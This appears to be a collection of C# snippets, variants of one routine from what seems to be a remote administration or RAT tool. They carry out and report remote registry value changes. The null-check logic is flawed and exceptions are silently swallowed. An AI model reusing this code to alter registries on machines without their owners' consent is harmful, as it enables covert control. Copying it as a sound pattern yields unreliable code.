private void Execute(ISender client, GetChangeRegistryValueResponse message) { if (!message.IsError) { OnValueChanged(message.KeyPath, message.Value); } else { OnReport(message.ErrorMsg); } }
public static void HandleChangeRegistryValue(GetChangeRegistryValueResponse packet, Client client) { try { // Make sure that the client is in the correct state to handle the packet appropriately. if (client != null && client.Value.FrmRe != null && !client.Value.FrmRe.IsDisposed || !client.Value.FrmRe.Disposing) { if (!packet.IsError) { client.Value.FrmRe.ChangeValue(packet.KeyPath, packet.Value); } else { client.Value.FrmRe.ShowErrorMessage(packet.ErrorMsg); } } } catch { } }
private void Execute(ISender client, DoChangeRegistryValue message) { GetChangeRegistryValueResponse responsePacket = new GetChangeRegistryValueResponse(); string errorMsg; try { responsePacket.IsError = !(RegistryEditor.ChangeRegistryValue(message.Value, message.KeyPath, out errorMsg)); } catch (Exception ex) { responsePacket.IsError = true; errorMsg = ex.Message; } responsePacket.ErrorMsg = errorMsg; responsePacket.KeyPath = message.KeyPath; responsePacket.Value = message.Value; client.Send(responsePacket); }
public static void HandleChangeRegistryValue(DoChangeRegistryValue packet, Networking.Client client) { GetChangeRegistryValueResponse responsePacket = new GetChangeRegistryValueResponse(); string errorMsg; try { responsePacket.IsError = !(RegistryEditor.ChangeRegistryValue(packet.Value, packet.KeyPath, out errorMsg)); } catch (Exception ex) { responsePacket.IsError = true; errorMsg = ex.Message; } responsePacket.ErrorMsg = errorMsg; responsePacket.KeyPath = packet.KeyPath; responsePacket.Value = packet.Value; client.Send(responsePacket); }
public static void HandleChangeRegistryValue(GetChangeRegistryValueResponse packet, Client client) { try { if (client != null && client.Value.FrmRe != null && !client.Value.FrmRe.IsDisposed || !client.Value.FrmRe.Disposing) { if (!packet.IsError) { client.Value.FrmRe.ChangeValueFromList(packet.KeyPath, packet.Value); } else { client.Value.FrmRe.ShowErrorMessage(packet.ErrorMsg); } } } catch { } }
public static void changeRegistryValue(GetChangeRegistryValueResponse packet, ClientMosaique client) { try { // Make sure that the client is in the correct state to handle the packet appropriately. if (client != null && client.value.frmRe != null && !client.value.frmRe.IsDisposed || !client.value.frmRe.Disposing) { if (!packet.IsError) { var serializer = new JavaScriptSerializer(); var result = serializer.DeserializeObject(packet.Value.Data); packet.Value.Data = result.ToString(); client.value.frmRe.ChangeValue(packet.KeyPath, packet.Value); } else { client.value.frmRe.ShowErrorMessage(packet.ErrorMsg); } } } catch { } }